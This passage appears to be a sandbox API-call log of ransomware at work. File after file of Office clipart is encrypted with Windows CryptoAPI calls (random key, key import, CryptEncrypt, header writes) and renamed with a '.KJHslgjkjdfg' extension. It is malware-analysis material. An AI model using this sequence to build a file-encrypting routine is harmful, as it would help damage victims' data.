| out: lpNewFilePointer=0x0) returned 1 [0181.714] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2400, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2400, lpOverlapped=0x0) returned 1 [0181.714] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0181.714] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x24d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.714] SetEndOfFile (hFile=0x114) returned 1 [0181.716] GetProcessHeap () returned 0x2a0000 [0181.716] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0181.716] GetProcessHeap () returned 0x2a0000 [0181.716] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0181.716] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285808.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285808.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285808.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285808.wmf.kjhslgjkjdfg")) returned 1 [0181.717] CloseHandle (hObject=0x114) returned 1 [0181.717] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56667970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2210, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0285820.WMF", cAlternateFileName="")) returned 1 [0181.717] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285820.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285820.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0181.718] GetProcessHeap () returned 0x2a0000 [0181.718] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0181.718] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0181.718] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0181.718] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0181.718] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0181.718] GetProcessHeap () returned 0x2a0000 [0181.718] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0181.718] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0181.718] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0181.718] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0181.721] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0181.721] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0181.721] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0181.721] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0181.721] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0181.721] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0181.721] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0181.721] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.721] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x2210, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x2210, lpOverlapped=0x0) returned 1 [0181.722] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2210, dwBufLen=0x2210 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2210) returned 1 [0181.722] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.722] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2210, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2210, lpOverlapped=0x0) returned 1 [0181.722] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0181.722] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x22e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.722] SetEndOfFile (hFile=0x114) returned 1 [0181.725] GetProcessHeap () returned 0x2a0000 [0181.725] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0181.725] GetProcessHeap () returned 0x2a0000 [0181.725] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0181.725] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285820.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285820.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285820.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285820.wmf.kjhslgjkjdfg")) returned 1 [0181.726] CloseHandle (hObject=0x114) returned 1 [0181.726] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56667970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x21a0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0285822.WMF", cAlternateFileName="")) returned 1 [0181.727] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285822.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285822.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0181.728] GetProcessHeap () returned 0x2a0000 [0181.728] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0181.729] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0181.729] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0181.729] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0181.729] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0181.729] GetProcessHeap () returned 0x2a0000 [0181.729] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0181.729] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0181.729] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0181.729] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0181.731] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0181.731] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0181.731] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0181.731] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0181.732] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0181.732] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0181.732] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0181.732] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.732] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x21a0, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x21a0, lpOverlapped=0x0) returned 1 [0181.733] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x21a0, dwBufLen=0x21a0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x21a0) returned 1 [0181.733] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.733] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x21a0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x21a0, lpOverlapped=0x0) returned 1 [0181.733] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0181.733] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2274, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.733] SetEndOfFile (hFile=0x114) returned 1 [0181.735] GetProcessHeap () returned 0x2a0000 [0181.735] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0181.736] GetProcessHeap () returned 0x2a0000 [0181.736] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0181.736] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285822.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285822.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285822.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285822.wmf.kjhslgjkjdfg")) returned 1 [0181.737] CloseHandle (hObject=0x114) returned 1 [0181.737] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5668dad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7898, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0287018.WMF", cAlternateFileName="")) returned 1 [0181.737] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287018.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287018.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0181.738] GetProcessHeap () returned 0x2a0000 [0181.738] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0181.738] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0181.738] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0181.738] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0181.740] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0181.741] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0181.741] GetProcessHeap () returned 0x2a0000 [0181.741] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0181.741] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0181.741] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0181.741] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0181.741] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0181.741] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0181.741] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0181.741] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0181.741] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0181.741] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0181.741] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0181.742] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.742] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x7898, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x7898, lpOverlapped=0x0) returned 1 [0181.743] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x78a0, dwBufLen=0x78a0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x78a0) returned 1 [0181.743] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.743] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x78a0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x78a0, lpOverlapped=0x0) returned 1 [0181.744] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0181.744] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x7974, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.744] SetEndOfFile (hFile=0x114) returned 1 [0181.746] GetProcessHeap () returned 0x2a0000 [0181.746] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0181.746] GetProcessHeap () returned 0x2a0000 [0181.746] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0181.746] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287018.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287018.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287018.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287018.wmf.kjhslgjkjdfg")) returned 1 [0181.747] CloseHandle (hObject=0x114) returned 1 [0181.747] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5668dad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x931a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0287019.WMF", cAlternateFileName="")) returned 1 [0181.748] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287019.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287019.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0181.748] GetProcessHeap () returned 0x2a0000 [0181.748] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0181.749] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0181.749] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0181.749] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x6, lpOverlapped=0x0) returned 1 [0181.751] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0181.751] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0181.751] GetProcessHeap () returned 0x2a0000 [0181.751] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0181.751] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0181.751] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0181.751] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0181.751] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0181.751] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0181.752] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0181.752] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0181.752] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0181.752] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0181.752] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0181.752] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.752] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x931a, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x931a, lpOverlapped=0x0) returned 1 [0181.753] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x9320, dwBufLen=0x9320 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x9320) returned 1 [0181.753] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.753] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x9320, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x9320, lpOverlapped=0x0) returned 1 [0181.754] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0181.754] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x93f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.754] SetEndOfFile (hFile=0x114) returned 1 [0181.756] GetProcessHeap () returned 0x2a0000 [0181.756] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0181.756] GetProcessHeap () returned 0x2a0000 [0181.756] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0181.756] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287019.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287019.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287019.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287019.wmf.kjhslgjkjdfg")) returned 1 [0181.758] CloseHandle (hObject=0x114) returned 1 [0181.758] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5668dad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x80d8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0287020.WMF", cAlternateFileName="")) returned 1 [0181.758] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287020.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287020.wmf"), 